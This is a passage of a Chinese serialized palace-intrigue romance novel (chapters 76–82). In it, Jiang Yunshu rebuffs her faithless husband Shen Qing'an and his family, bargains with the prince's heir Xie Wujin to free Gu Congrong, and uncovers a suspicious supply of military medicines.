“嗯。”姜云舒回答得轻描淡写。 沈清安看着姜云舒下意识地动了动左臂,恍然间想起他归家那日,吵嚷之间推了姜云舒一把,他分明没用力,却见姜云舒拧着眉头“嘶”了一声。 原本以为她是故意装疼,如今看来,估计是碰到她的伤口了。 如果早知道她受伤,定然不会…… “是我不好,我原不知你受了这么大的苦是为我谋仕途……” “沈大人别误会。”姜云舒紧忙打断他,“皇上的确给了我恩赐,不过我还没有想好求什么。” 这话听得沈清安眸光一亮。 “那如今你可想好了?” 出嫁从夫,她当然要以丈夫的仕途为主,她若开口向皇上提,这官职晋升自不在话下。 沈清安想得美,却见姜云舒抬手晃了晃手中的县主腰牌。 “我不是为自己求了县主之位和封地嘛!”她勾了勾唇角,只是笑意不达眼底,凭空多了几分讽刺的味道。 “你,这是你求来的?”沈清安眼珠子瞬间瞪大。 设粥棚,为灾民建造房屋,舍药材救治,从一开始,她就只是为了自己谋划! 眼瞧着沈清安脸上变颜变色,姜云舒难得有耐心跟他解释。 “我倒也没直接跟皇上开口,不过是恰好有一片林子可以用来安置百姓,皇上大概能与我想到一处,毕竟,将灾民交给我安置作为奖励,他也解决了心头大患,算是两全其美。” 出现疫病的灾民,不管对于哪方势力来说,都是烫手的山芋,姜云舒将百姓安置于清风林,相当于将疫病与皇城隔离开来,也让众人松了一口气。 而此刻急于在皇上面前表现的各方势力,也趁机将物资和药材送过来,姜云舒亦乐得接收。 此刻沈清安恍然明白过来,脸色更难看了。 姜云舒瞧着他,半晌,惊呼一声,“沈大人该不会以为,我以功勋为你谋仕途吧?” 这话仿佛大耳刮子,直接砸在沈清安脸上。 他可不就是想着让姜云舒为他谋仕途嘛! “原以为,你会与我同心,如今看来是我自作多情!”沈清安一张脸都快阴沉到地府了。 姜云舒看着他,倏地,脸上笑意散尽,只剩淡漠。 “当初那一剑,剑上有毒,我足足昏迷了半月才清醒,皇上感念我舍身护驾,允诺我提任何要求,原本,我的确是想为你谋仕途,为老夫人谋诰命,只等你归家,当做惊喜送给你,结果,是你先给了我一个大礼。” 她转过脸,视线迎着沈清安,直直看去,“沈大人,我不该为自己谋划吗?” 第77章 她后悔了 命是她拼的,伤是她受的,皇上要封赏的也是她姜云舒,便是沈家对她没有背叛欺瞒,她以此为自己谋求,又有何不可? 他凭什么要求她? 沈清安脸上变颜变色,他找不到反驳的借口,恼羞过后,面上逐渐多了一层怒意。 “出嫁从夫,你也不要忘了,你是沈家人,不过是个没实权的郡主,若没有我沈家,你倒是看看还有没有人将你放在眼里,你好自为之!” 说完,沈清安拂袖而去。 不知是心虚,还是气得,沈清安走得很快,快到宫门口时,不知被什么绊了一下,踉跄着差点摔在地上。 姜云舒远远看着他落荒而逃的身影,神情收敛。 当初的自己是有多蠢,竟打算用自己拿命博来的功劳为他铺路。 这样一个人,除了那张还算赏心悦目的脸,有哪一点值得自己付出一生? 不过还好,及时止损尚且来得及。 姜云舒心中各种思绪翻涌,下意识攥紧了拳头,却在此刻,耳畔传来公公的声音。 “谢世子,这边请。” 谢……世子? 姜云舒猛然间回过神来,扭头看去,正好与对面看过来的人对上了眼神。 是他! 那个抢了她白玉簪的男人,亦是那日在城门口混进灾民营中要饭的男人。 他竟然就是渊政王府世子,谢无烬! 此刻谢无烬亦看向姜云舒,两人视线碰撞的一瞬,他勾起了唇角,可明明是笑,却极尽危险。 沈府。 姜云舒回到沈家时,天色已经擦黑,庭院之间尚未点灯,此刻视线有种被夜幕蒙上的感觉。 刚进揽芳院,就见一群人迎了出来,姜云舒蹙眉细看才认出竟是老夫人。 “姜氏,我问你,我的诰命没了?”老夫人一脸激动地冲到跟前。 这架势,想来是知道今日在皇宫的事了。 不过,老夫人张口就是她的诰命? 当初她的确在皇上面前为老夫人求了诰命,不过后来又取消了。 只是如今老夫人这质问的语气,直让姜云舒感觉无语。 又不欠他们的。 姜云舒不说话,老夫人脸上肌肉颤了颤,嘴角一咧便哭出了声。 “云舒啊,你不能这样!母亲知道错了,我不知道你为我求了诰命啊!” 老夫人哭得声音有些大,一边哭着,伸手去抓姜云舒的手,“我将中馈还给你,你再跟皇上说说,这诰命咱们还要的,行不行?” 虽说诰命册封,不过是个名头,但得了诰命便受俸禄,出门在外身份也不一样。 以往随姜云舒参加宴会,听得哪家女眷得了诰命,老夫人便羡慕得不得了,谁能想到,她自己也差一点有了? 差一点,就差一点啊! 若是从未有过这个苗头,老夫人也不至于这么崩溃,可心心念念的东西在眼前一晃而过,这抓心挠肺的刺挠,让她就更难受了。 姜云舒看她哭得像死了儿子似的,一时无语,倒是月禾心直口快,当即冷哼一声。 “老夫人,您跟我家小姐说是没用的,咱大瑞律法规定,得是正五品家眷才有资格封诰命,是您儿子,沈大人不行呢!” 月禾瞄着老夫人,一脸幸灾乐祸的无奈。 如今沈清安是从五品光禄寺少卿,内宅女眷刚好没有封诰命的资格。 老夫人顿了一下,似是没回过神来,依旧跟姜云舒央求。 “我听大郎说了,皇上是答应过你的,你就说这诰命还要,行不行?”她那一脸的泪顺着皱纹往下淌。 是大郎对不住姜云舒,可跟她这个当娘的没关系啊! “哟,老夫人这是痛心疾首到失心疯了吧,那可是皇上,您当外面的商贩呢,由得你讨价还价?”月禾又忍不住翻了个白眼。 早干嘛去了! 都说真心换真心,沈家这一窝豺狼虎豹的,还指望小姐如以前一般为他们筹谋规划? 月禾这话着实不带一点委婉,老夫人一时呆住,她张张嘴,除了发出哀嚎声,便再也说不出话。 “你不必如此,等沈大人日后晋升五品大员,你还是有得诰命的机会的。” 姜云舒“直戳痛处”地敷衍一句,随即吩咐吉祥,“扶老夫人回去休息。” 吉祥瞧着老夫人有要翻白眼厥过去的趋势,来不及多想,紧忙招上前扶着老夫人便往外走。 早知道如今这样,当初何必呢? 月禾跟着往外走,待老夫人一帮人出了院门就立刻关门。 然而,就在她拉门时,扭头瞧见院门旁边站着的沈长元。 以往沈长元来揽芳院都是连通报都没有,直接往里走,如今倒是懂规矩了。 “你在这里做什么?”月禾没好气开口。 自从沈家人欺骗背刺小姐,她便立志平等地创死沈家的每一个人,哪怕沈长元还是个小屁孩子。 “我……” 沈长元被月禾这语气唬得有些紧张,搓着手迟疑了好半晌才鼓足勇气开口。 “我是……” “砰!” 不等他说完,月禾已经先一步关上了院门。 大家都这么忙,谁家孩子谁哄,跟他们揽芳院可没什么关系。 沈长元差点被一门板子拍鼻子上,他呆愣愣地定了瞬息,忽而“哇”的一声哭着往回跑。 月禾不理会,一边往回走,一边忍不住吐槽。 “呵,他们还真以为岩城三年,他沈清安就能飞黄腾达了?就那岩城堤坝,若没有老将军和大公子,他什么都做不成!” 此刻姜云舒已经回到屋内。 她手里拿着一个黄铜腕弩,轻轻扣动机关,只听得“咔”一声,一根银针飞出,迅速在空中分成三束,精准地刺入草靶上。 “还差一点。” 姜云舒验看草靶上的痕迹,蹙眉摇摇头。 此刻她的专注力只在腕弩上,沈家诸事于她,似乎并不值得费心思。 “三股已经比大公子研发的更胜一筹了。” 月禾将热茶送到她手边。 姜云舒接过茶抿一口,对月禾刚才的话不置可否,随即似是想起什么,吩咐一声。 “你去库房选一件拿得出手的贺礼,两日后渊政王府老太妃过寿,咱们准备去赴谢世子这场鸿门宴。” 第78章 腹肌好看吗 流芳院。 高芝兰将热茶奉至沈清安面前,小心谨慎地观察着他的表情,犹豫片刻,往前凑了凑。 “都是我不好,是我妨碍了相公高升,要不,相公还是送我回岩城吧。。” 话刚出口便带着哭腔,一边说着,还捻着绢帕往脸上擦了擦,看起来可怜又无辜。 要说姜云舒拒绝为他仕途铺路,最主观的原因的确是因为带了高芝兰回来,可事到如今后悔也是没有用的。 更何况,当初是他将高芝兰母子送往岩城,若真计较起来,根源在于他自己。 “好了,左右已经回来了,再将你送回岩城也没有用。”沈清安蹙着眉,脸色依旧阴沉。 原本以为,凭借岩城治理水患的功劳,官升正五品不会有差错,他想不明白问题出在了哪里。 高芝兰听他语气依旧不善,委委屈屈的抽噎了一声,“如果能换夫君仕途平步青云,我就算一直在岩城不回来也是心甘情愿的。” 沈清安抬头,视线扫过高芝兰那泛红的眼眶,心中倏然一动。 “我知道你始终为我考虑,放心,那位大人已经答应过我,不过就是多等一些时日。”说着,他伸手将高芝兰拉到身边。 高芝兰身若无骨一般靠在沈清安身侧,垂眸之间遮住眼底闪烁的光芒。 危机感,最近这段时间,她突然感有种很强烈的危机感。 明明姜云舒并未有任何讨好沈清安的意思,可沈清安看她的眼神出现了微妙的变化。 不行,这种情况不妙,她得尽快了。 时光瞬息,眼看便到了渊政王府元太妃寿宴之日。 当年元太妃高寿六十,正是整寿之年,加之太后守丧刚过,也无需太多顾及,元太妃更是借此机会对五品以上官员的府上送了请帖。 宾客自辰时开始陆续携礼登门,而姜云舒收到的请帖时间却是卯时。 早知沈清安会带高芝兰参加寿宴,姜云舒特意与他们错过时间出门。 刚到渊政王府,卫临风早已在大门口等着,姜云舒连请帖都未出示,便被带着进了内院。 往里走,刚过第二进院子,卫临风停下脚步。 “世子交代,请姜姑娘进去,如果能找到就见,一炷香的时间如果找不到,就请回吧。” 咔! 姜云舒忍不住握紧了拳头,转脸朝卫临风瞪一眼,却见卫临风伸手做了一个“请”的姿势,整个人就更不好了。 看来,谢无烬在测验自己! 姜云舒不屑的勾了勾唇角,抬起头往前走,刚走两步又退回来,问:“你们渊政王府有多大?” “两个操练场那么大,自此还有四进的院子,七十六个房间。”卫临风回答时,视线在姜云舒脸上扫过,不自觉吞了一口口水。 “七十六个房间?” 月禾一声吼叫,瞬间瞪大了眼睛! 一炷香的时间也就半个时辰不到,七十六个房间要挨个找? 这谢世子果然不是个东西,耍着人玩儿呢吧! 姜云舒收敛神情,挑眉朝卫临风看去,哼笑一声。 “谢世子的确会玩儿,但我不奉陪,月禾,我们走!” 说着,还真转身就往外走。 在谢无烬身边十多年,卫临风还是第一次见有人敢忤逆他家主子,怔愣瞬间紧忙上前拦住。 “姜姑娘,你若走了,怕是要通知沈家二公子收尸了。”卫临风沉沉开口。 自顾从容进了渊政王府,顾家连派人来问都没有,哪怕是人没了,收尸的便是沈清睿了。 “威胁我?” 姜云舒微微偏过头看他,唇角无声勾起,“你觉得,我会在乎一个甚至连认识就都不算的人?” 能将百辟赤冥刃拿来交换顾从容,她对沈清睿已经是仁至义尽,得寸进尺,那便恕不奉陪! 卫临风忍不住蹙了蹙眉,果然,如世子所说,她与寻常女子不同,浑身带刺。 思量之下,他伸手从腰间掏出一张图纸。 “或许,姜姑娘可以先看看这个。” 说着,他将图纸递过去。 姜云舒一时疑胡,还是伸手接了过来,图纸展开,视线看去的瞬间,瞳孔骤然一缩。 是北夷的流星火弩机关图纸。 当初定国将军府与北夷对战,曾因这流星火弩吃尽了苦头。 眼瞧着姜云舒面上细微的表情变化,卫临风又道:“世子是有话要与姑娘说的,想来姑娘会有兴趣。” 姜云舒抬头,唇角微微勾起一抹笑,只是笑意不达眼底。 “谢世子应该知道,我定国将军府已经没落,如今驻守北域的另有其人,这流星火弩于我来说,还有什么重要?” 她转手又将那图纸塞回了卫临风手里,“谢世子若诚心放人,那就请你前面带路,否则,我也没有太多耐心。” “你……”卫临风一时哑然,看看姜云舒又看看被塞回来的图纸,半晌,叹一口气。 “随我来吧。” 进了云水园,卫临风便伸手将月禾拦在了外面。 “世子交代,只见姜姑娘一人。” 月禾眼珠子一瞪,正要跟卫临风理论,却见姜云舒朝她点点头,这才不情愿地退到了后面。 姜云舒往里走,此刻一股淡淡的香味擦过鼻尖,她一顿,随着香味,转向了右手边的房间。 此时天还没大亮,房间亦没有点灯,如今乌云散开一些,淡薄的光芒投下来,带着一丝缥缈的感觉。 哗啦啦…… 是流水的声音。 姜云舒站定脚步,眼睛看不真切,耳朵在这静谧的夜晚却格外灵敏,听着那流水的声音,她脸上神情流转,走了进去。 这个房间很大,足足有沈家一个小院子那么大,房间之轻烟缭绕,空气中散着一股淡淡的青竹香味,月光从窗户透进来,房间正中间是一袭红色纱帐垂落,帐中如幻境般轻雾迷蒙。 这,分明就是一个建在屋子里的温泉! 而红帐的一侧,有一个软塌,上面一整张虎皮铺置,虎头摆在一侧,虽然已经闭上了眼睛,却依旧散着三分霸气。 虎头正对着的桌子上摆放着各样水果,清酒,还有一个香薰的小炉。 人间活阎王,私底下竟然这么妖娆? 正看着,这时,红帐之中传来撩拨的水声,低沉带着磁性的声音随着袅袅缭绕的雾气吹进耳朵里。 “这么晚才到,姜姑娘诚心不够呢!” 第79章 给我什么好处 随着话音落地,只见一个黑影从温泉中腾空而起,伴随着红色纱帐在眼前抚过,等姜云舒看清楚的时候,谢无烬已经半倚在软榻上。 他端起桌上的酒杯,手肘刚好支撑在那虎头上,月光轻雾之下,竟然有几分说不上来的魅惑。 他的长袍随意的裹在身上,领口处若有似无的敞开着,隐隐约约可见胸前结实的肌肉,如今慵懒姿态靠在虎头之上,妖冶魅惑之中竟然难以掩盖那君临天下的霸气! 此情此景,看得姜云舒一阵心跳急促,忍不住咽了一口口水。 谢无烬撩起眼皮朝她看一眼,唇畔微微挑起一抹弧度。 “你对本世子的身躯可还算满意?” 说着话,他伸手从桌上的果盘捻起一颗红果,娇嫩欲滴的果子贴近唇边,诱惑至极! 姜云舒抬头迎上他那玩味的笑,视线自他规则的腹肌上扫过,眉梢轻挑。 “还行吧。” “那,和沈清安相比呢?”他眯起眼睛。 姜云舒:“……” 他一个征战沙场的武将和沈清安一个文臣有什么可比的吗? 更何况,当初他们成婚尚未来得及同房,沈清安便紧急去了岩城,她也没见过他身体什么样啊。 姜云舒的迟疑,让谢无烬眸光一沉,唇边的红果没有送进口中,而是转手朝姜云舒飞了过去! 姜云舒猛然一惊,身形侧转躲开,却不想被一把抓住了手腕,只感觉身体一倾,鼻尖传来一阵清竹香味,身后,那人贴了过去。 “顾从容呢?”姜云舒挣不开,蹙眉问。 “急什么,稍后自会让你带走。” 声音自耳畔擦过,下一瞬,谢无烬身影侧过,坐在她前面的凳子上。 “为我梳头冠发。”他说。 姜云舒低头,视线落在那微露的肩膀上,下意识抿了抿唇,随后脸色沉了下来。 “谢世子可不要得寸进尺,我与你很熟吗?” 谢无烬抬头,自眼前铜镜之中与姜云舒对视,“真是没有心,你怕是忘了,我们从前可是有婚约的,你说熟不熟?” “婚约已经取消了。”姜云舒捏紧了拳头。 “那是你背信弃义!” 谢无烬这话接得直接让姜云舒捏住的拳卸了力道。 的确是她看上了沈清安,与谢无烬退了婚,背信弃义,这话反驳不了。 这个问题没办法回答,姜云舒索性不回答了,话题一转。 “你侍卫给我看的流星火弩机关图纸是从哪里来的?那般机密的兵器设计图,你竟给我看?” “有什么不能给你看的。”谢无烬转过脸看她,幽深的眸中自带神秘,“原本,那图纸便是你父亲派人送来西晋边境的,难不成,你不知道?” 他的视线凝在姜云舒脸上,似是观察,又像审视。 姜云舒眼神微敛,她的确不知道。 当初爹爹和兄长因为流星火弩着实苦恼头疼,若有结构图,应该早有应对之策,怎么反而送到了渊政王府? 此刻,姜云舒能想到的唯一解释便是,没来得及。 定国将军府出事,爹爹和兄长还没来得及对这图纸研究透彻,不得已之下只能送往渊政王府。 思绪快速在脑子里闪过,注意力很快又回到谢无烬身上,她舒展眉梢,朝他勾了勾唇。 “所以,谢世子让我知道这些的目的呢?” 之前虽未曾谋面,但姜云舒却听过不少有关谢无烬的传闻,他心思缜密,计谋深远,突然将这图纸拿到她跟前,必定是有所图。 谢无烬瞧她,勾起的唇角带着试探和玩味。 “你相信你爹会通敌吗?”他问。 这话入耳,姜云舒没忍住朝他翻了个白眼,反问道:“你会相信渊政王会通敌吗?” 都是驻守边境的将领,若这点忠诚都没有,岂不是国之危已? 然而,下一瞬就见谢无烬眼珠子一转。 “说不定呢。” 他似是真的认真思考了一下。 姜云舒:“……” 渊政王可真是养了个好大儿。 “我爹不会。” 姜云舒郑重开口,“我北域边境土地肥沃,军队粮草兵器从未短缺,区区十万两,根本不值得我爹冒那么大的风险。” “啧,那么富裕啊,难怪别人眼红,给定国将军府下绊子呢!”谢无烬眉梢扬起,一脸幸灾乐祸。 这表情让姜云舒的脸色瞬间沉了下来,话锋一转。 “所以,你一定要我来渊政王府,究竟想做什么?”她沉冷的面上带着明显的防备。 她可不认为谢无烬只是找她来聊聊天,尤其,以他此刻刚出浴的状态,很难不让人遐想。 “看戏!”谢无烬随即抬手抓起长袍披在身上,拉着姜云舒朝阁楼走去。 姜云舒一时挣不脱,只能任由他带着往阁楼去,此刻阁楼的窗户半开,尚未大亮的天地之间仿若蒙着一层轻纱。 她不解,正要问,就听软绵的女声自庭院传来。 “世子,您在吗?我是元欣然,奉太妃之命,请你去前厅。” 那女子一边说着,往院子里走,她手上提着灯笼,依旧走得踉踉跄跄。 “找你的。”姜云舒朝窗外努努嘴,顺势甩开他的手。 然而,还是没甩开。 这时,又见两个侍卫自庭院另一侧,抬着一个人进了院子,走近才看清,竟是沈清安。 “谢无烬,你想做什么?”姜云舒扭头看他。 此刻,谢无烬的视线亦在姜云舒脸上,眼底闪过一抹微妙。 “那女人,是李阁老家的庶女,太妃准备安排进我院子的,你说,若我将她和沈清安安排在一处,会是一场什么样的大戏?” 他挑起眉,明明是笑,却让人头皮发麻。 “谢世子,何苦将人逼到绝路呢。”姜云舒蹙了蹙眉。 “呵,到现在,你还在为沈清安那个负心汉考虑?”谢无烬的笑容一下子散了,他盯着姜云舒,抓着她的手不自觉用力。 手上的疼痛,让姜云舒下意识皱起眉。 “我是说,刚才那李家姑娘进来时,分明是满脸惊慌,想来不是她自愿来的,你也说了,她是太妃派过来的,她一个庶女,没得选择,女子名节比命重,你何必不给她留活路呢?” 说话的同时,姜云舒猛地一甩手,挣开他的束缚。 谢无烬没再纠缠,反而挑起眉梢,笑容再次浮现。 “没想到,你竟是个心软的,你想救她也可以,给我什么好处?” 第80章 我要入住清风村 姜云舒看着他,唇角微微一撇,似笑非笑。 “我自认为不是什么大爱之人,慈悲心也有限,我跟这姑娘并不认识,你想利用她从我这里得到好处怕是不成。” 说着,视线朝沈清安被抬进来的方向扫过,“至于沈清安,你随便,与我无关。” 说着,欲转身,腰间冷不防被一只手猛然勾住,力道抗衡之下,她被带着往谢无烬怀里倾,然而下一瞬,匕首抵在了他的脖颈。 “我今日来渊政王府是为顾从容,百辟赤冥刃可以给你,人我带走,至于其他,我没有兴趣。”姜云舒眸光沉冷,仿若古剑的寒光,冰冷锐利。 谢无烬脖颈贴着匕首的冷刃,面上却丝毫不见慌乱,甚至,在姜云舒力道压下来时,眼中莫名燃起了兴奋。 “这么着急?” 他唇角勾起,吹了一声口哨,此刻温泉红纱遮掩之下走出一个人,是顾从容。 走到跟前,她双膝一曲,跪在地上。 “顾从容,多谢夫人相救!” 见到人,姜云舒手中匕首方向一转,递到了谢无烬面前。 “多谢世子信守承诺。” 说着,抬手拉起顾从容。 谢无烬手中把玩着百辟赤冥刃,看着两人往外走,微微眯起双眸。 “你们从这里走出去容易,但顾从容是当街拦马车进的渊政王府,你打算如何保住她的名节?” 那声音慵懒之中透着一股邪魅之意,出口,便让姜云舒再次停下脚步。 那日众人都看到顾从容上了舞姬的车,与舞姬为伴,哪里还有清白的可能? 沈清睿情深义重固然重要,可顾从容的名节是她能在沈家立足的前提,否则,有沈家老夫人这位喜欢作威作福的婆母,她以后也不会有好日子过。 况且,就这样从渊政王府回去,她母家都不一定能容她。 不过,此刻谢无烬提及这点,想来是早有办法。 姜云舒转身,唇角勾起淡淡的笑,“所以,谢世子的建议是?” 谢无烬就等着姜云舒这一问,他转手将匕首置于桌上,薄唇轻启,吐出一句话。 “让我的人入住清风村。” 姜云舒眸光一滞,视线迎着谢无烬看去,眼神微妙。 原以为,渊政王府这一趟,谢无烬会因之前退婚而刁难,如今看来,却是防错了方向。 “谢世子这是想来抢一份功劳?” 姜云舒唇角勾着笑,只是笑意不达眼底,反而更多了几分防备。 自进宫受封之后,清风村规划为姜云舒封地一事便传开,期间三皇子和信阳侯府亦派人送药送粮,同样是抱着分一份功劳的心思,却都被姜云舒巧妙拒绝。 她倒是没想到,谢无烬也是这个心思。 的确嚣张。 谢无烬却不以为意,迎着姜云舒审视的目光,笑容肆意。 “此时清风村正苦于疫病,本世子给你一支女医队,届时让顾从容在女医队伍之中帮忙,待疫病解除后她再回家,非但不会名节受损,还会因皇上的赏赐和嘉奖抬高身份。” 他不否认自己的意图,只给姜云舒讲利益,不得不说,这个解决方式,不仅解决了顾从容的名节问题,亦迎合了此刻清风村大夫短缺的问题。 姜云舒眼神流转之间,衡量利弊。 此时疫病会有表里之症,若有女医,倒也帮了大忙。 至于谢无烬想以此向皇上邀功,那是皇上的问题,与她何干? “谢世子这个要求,也不是不能答应,不过,你的女医队伍入村,需自带草药。”姜云舒眉梢轻挑,勾起淡淡笑意。 她可记着呢,之前在平洲,谢无烬做那背后黄雀,抢了沈清安那三车药材。 谢无烬喝茶的动作一顿,随即唇畔笑意漾开。 “要不说我们才是绝配!”他挑着眉梢,笑容得意。 心黑又如何,这亏只要不是自己吃,谁吃都无所谓。 姜云舒却嫌弃地甩给他一个白眼,“村民都叫我菩萨,而你,是阎王!” 顾从容站在一旁,本就心惊得大气都不敢出,如今听得一声“阎王”,更是一颗心提到了嗓子眼。 百姓称谢世子为活阎王都是背地里小声议论,只有她,当着他的面喊。 她不怕死吗? 然而,正在她战战兢兢时,却见谢无烬竟然笑了,不得不说,他笑起来真好看,要是没那么强的压迫感就更好了。 “你都说我是阎王了,阎王偏要配你这菩萨,有何不可?今日正吉,不若我便帮你杀了那负心汉,如何?” 谢无烬笑着朝姜云舒靠近,幽深的眸中仿若一汪不见底的深渊。 顾从容脸都白了。 不是,密谋杀人的话,你俩自己密谋不行吗?非得要她这第三个人在场? 她吓得浑身颤抖,不知该如何是好,就见姜云舒抬手抵在谢无烬靠过来的胸前。 “我的事,我自己会处理,不劳谢世子费心!” 姜云舒退后一步,转身往外走。 谢无烬也不纠缠,眼瞧着姜云舒离开,眼底笑意逐渐敛尽。 他倒要看看,她若知道定国将军府通敌一案与沈清安有关,还会不会留他性命! 自谢无烬的云水园出来,姜云舒便径自离开了渊政王府。 元太妃寿宴请帖是送到沈清安手里的,而与沈清安一同赴宴的是高芝兰,她并不想在渊政王府成为众人的焦点。 更何况,之前已经瞧见沈清安昏迷不醒,之后的事,她可不想掺一脚。 沈府。 下了马车,月禾去找郭攀打探消息,姜云舒便自行往回走。 回到揽芳院,还没进门,远远就见沈清睿便急匆匆迎了出来。 “姜嫂嫂,从容她……” 他说话间朝姜云舒身后看去,不见顾从容身影,面上不由多了几分紧张。 “进去说。” 姜云舒径自往里走,进了屋,才如实与他说了。 “这样好,这样最好!” 沈清睿长舒一口气,不过这口气还没疏散,紧接着眉头又皱了起来,“听说那谢世子嚣张狂妄,万一他别有用心,嫂嫂可千万别着了他的道。” 这两日因为顾从容,他没少打听有关谢无烬的事,越是打听,心里越慌。 那可是个嚣张狂妄,极尽算计的阴谋者。 今日这事看起来似乎很顺利,可万一是给姜云舒做了局,那可如何是好? 姜云舒正喝着茶,闻言抬头看他,见他拧着眉头一脸担心的模样,竟莫名有些欣慰。 虽说帮他原也是带着私心,但到底不算白忙活。 “无碍,我自有应对。”姜云舒摆摆手,话尚未说完,就见月禾急匆匆进了院子。 “小姐,沈清安被抬回来了,真解气……” 话到门口,月禾一眼瞧见沈清睿在,嘴边的话霎时停住。 第81章 凭空出现的药材 “呵,二公子在呢。”月禾扯了扯嘴角。 即便她此刻对沈家人都没个好脸色,但背后骂人被撞上,到底也是有些尴尬的。 沈清睿倒不介意,紧忙问,“你方才说,我大哥怎么了?” “哦,听说是掉进了渊政王府的人工湖里,被抬回来了。”月禾撇撇嘴。 怎么就没呛死他呢。 “怎么会这样!” 沈清睿顿时一脸紧张,说话间,抬脚往外走,“我先去看看。” 姜云舒不动,慢条斯理的喝着茶,待沈清睿出了院子,月禾又往前凑了凑。 “听说,沈清安是掉进了内院的人工湖,若不是谢世子的猎犬发现,人怕是就要呛死了。”月禾神秘兮兮。 姜云舒依旧不动声色,之前见到沈清安昏迷,想到他今日能平安回来就不错了,不想谢无烬还真又折腾了他一翻。 “还有!” 月禾喝了一口茶,接着说:“今日在寿宴上,元太妃当众要将李阁老家一个庶女纳给谢世子,谁知那庶女胆子大,为了不嫁给谢世子,直接借口为元太妃祈福,自请去清风观三年,啧啧啧,没看出来,那李姑娘柔柔弱弱却是个厉害人物。” 平常人,哪敢拒绝谢无烬呢?那可是一句话就要人命的阎王。 听月禾说着,姜云舒喝茶的动作微顿,诧异之色自眼底闪过,很快又释然了。 看来,谢无烬放过了这姑娘。 春日水凉,沈清安落水后便得了风寒,在床上躺了两日。 这期间,高芝兰一直在床畔侍奉,亲力亲为,姜云舒也懒得多管,只将心思放在清风村上。 所幸反应迅速,处理及时,加之药物供应充足,这场疫病并没有扩散到不可控。 谢无烬的动作很快,三日后,女医队便进了清风村。 女医进村那日,沈清睿也去了,他与顾从容见了面,两人脸上尽是劫后余生的庆幸。 待离开时,沈清睿又去了姜云舒的木房子,将他这些年的家底都拿了出来。 “我知道那百辟赤冥刃价值连城,我还不起,但是如今清风村各处都要使银子,这些能出一份力也是好的。” 他将东西放在桌上。 姜云舒垂眸瞧一眼,是一些银元宝,和十来张房契和地契,都是当初皇上赏赐的。 “此时清风村得皇上关注,短不了银子,这些是你的辛苦积攒的,留着日后下聘才是正经,别让她嫁给你还要继续吃苦。”她将东西又推给了沈清睿。 以沈家目前的财力来看,沈清睿这三两年成婚的话,沈家是拿不出太多聘礼的。 而顾从容本就是不受重视的庶女,即便娘家应了这门亲事,嫁妆也不会多。 沈清睿眼神犹豫了片刻,见姜云舒不收,也就没再坚持。 “行,那除了银钱,姜嫂嫂有任何事尽管吩咐我便是。”沈清睿挺了挺胸膛。 如今他可不是以前那个一事无成的小子了,他是正六品带刀侍卫,还是能为姜云舒做些事的。 “好。” 姜云舒应了,让村长郭长友带他出去转转。 沈清睿刚离开没多久,只听木门推开的声音,姜云舒抬头,就见谢无烬挑眉含笑地站在门口。 “谢世子亲自过来,有何指令?” 谢无烬抬脚往里走,随即转身关上门。 “听说,沈家那废物近日又接了一批药材入京。” 他往姜云舒跟前凑近,眨眨眼,“有没有兴趣,再拦截他一次?” 姜云舒喝茶的动作一顿,随即抬头,朝他翻了翻眼皮。 “怎么,谢世子又想当黄雀,你看我像冤种吗?” 上次为了沈清安那批药,费劲吧啦一通,眼看着到手了,结果被谢无烬偷了后方,于战场上,这绝对是耻辱,他还敢再提! 难得看到姜云舒急眼,谢无烬更觉有趣,忍不住又逗她。 “这次我们算一家,抢来的草药平分,如何?” “不如何,没兴趣。” 姜云舒将手中杯盏置于桌上,没好气道:“你如今送来的这批药材都被整个查了一遍才进了村,凭空再多出一批来源岩城的药材,京兆府那一关,你准备如何过?” 眼下正是草药紧张的时候,尤其锦州这条路被洪水拦截,任何药铺入京的药材检查更为严苛,便是仁春堂,如今也只是在消耗库存。 “谁说那是岩城来的药?”谢无烬倚在桌边,勾唇睨着她。 “不是岩城,那又是从何而来?” 姜云舒蹙眉,“目前锦州这条八通路被洪水拦截,唯水路可行,便是岩城,也不可能在这么短的时间内将药材运送过来。” 即便沈清安在岩城三年,也不可能有通天的本事。 否则,三皇子早已在疫病出现之前就从岩城调药材过来了,也不至于如今眼看着六皇子在皇上面前被嘉奖称赞,自己只能咬牙嫉妒。 “你竟不知道?”谢无烬意味深长的看她,“三日前,平洲伏虎营丢了一个士兵,线索指向山匪,伏虎营统领一怒之下,派出一整个军营,荡平了附近山寨,刚好,战利品中就有来自岩城的药材。” 说话间,看姜云舒将杯盏续满,他抬手便端过来,快速抿了一口。 姜云舒:“……” 那是她喝过的杯盏! 她不悦,眼神灼灼地瞪着他。 谢无烬却不以为意,迎着她的视线又喝了一口,接着说:“伏虎营统领还算是个讲理之人,将药材交给了平洲知府,正巧沈清安之前在平洲被截了一批药材,这批药材便送到了京兆府,京兆府验看药品信息之后,将药材还给了沈清安。” “还给?” 姜云舒眸中诧异散开,“被劫走的那批药材不是被你送来了清风村,如何‘还’给沈清安?” 即便谢无烬送来的这批药材是用渊政王府的箱子,也消除了来源标记,可姜云舒依旧能分辨得出,是和她从沈清安和高芝兰手里得来的那车药材同属一批。 这凭空“还”的药材,又是从哪里冒出来的? “这批药,必定另有来路,难不成……”姜云舒抬头看向谢无烬,“是平洲军队医药库里来的?” 第82章 又打起来了 姜云舒这个想法很大胆。 平洲驻军,那可是皇上直属,伏虎营能将军用药材调给沈清安,那沈清安又是什么身份? 他敢动用军营中的药材,胆子更大! 眼瞧着姜云舒的表情,谢无烬知道她能想到的深度已经很接近了,这才开口。 “如今伏虎营统帅名叫韩昀,他是太师一手提拔上来的。”他提示。 又是太师? 姜云舒神情微变,这一提示,仿佛将事情更复杂化了。 “即便皇后与太师的关系紧张,可他们到底是兄妹,太师自当为三皇子谋划,有这药源,他不给三皇子,反而给一个并不重要的小人物,你觉得这合理?” “朝中势力错综复杂,利益权衡之下,与豺狼为伍的并不在少数,庄行舟一生精于算计,若三皇子不能成为庄家繁荣的支柱,你猜他会如何?”谢无烬勾起唇角,明明是笑,却让人心生寒凉。 朝堂之中,三皇子和六皇子的储君之争暗潮涌动,太师府作为皇后母族,不将家族繁荣寄希望于三皇子,更不可能扶持六皇子,难不成,他还想谋朝篡位? 这个设想太过荒谬,亦没有足够的证据支撑,姜云舒攥了攥手心又松开,再看向谢无烬,眉梢挑起。 “所以,谢世子这一趟回京,又有何种深意?” 论出身,谢无烬是渊政王府嫡长子,论功勋,他在军中威望极高,西晋边境能稳固,其中有他一半的功劳,让他以质子身份进京,其中深意尤为可知。 “聪慧如你,竟看不出?” 谢无烬挑眉,迎着她审视的目光,似笑非笑,“爹不疼,娘不爱,如今皇上需要渊政王府送一个质子进京来安心,我便来了。” 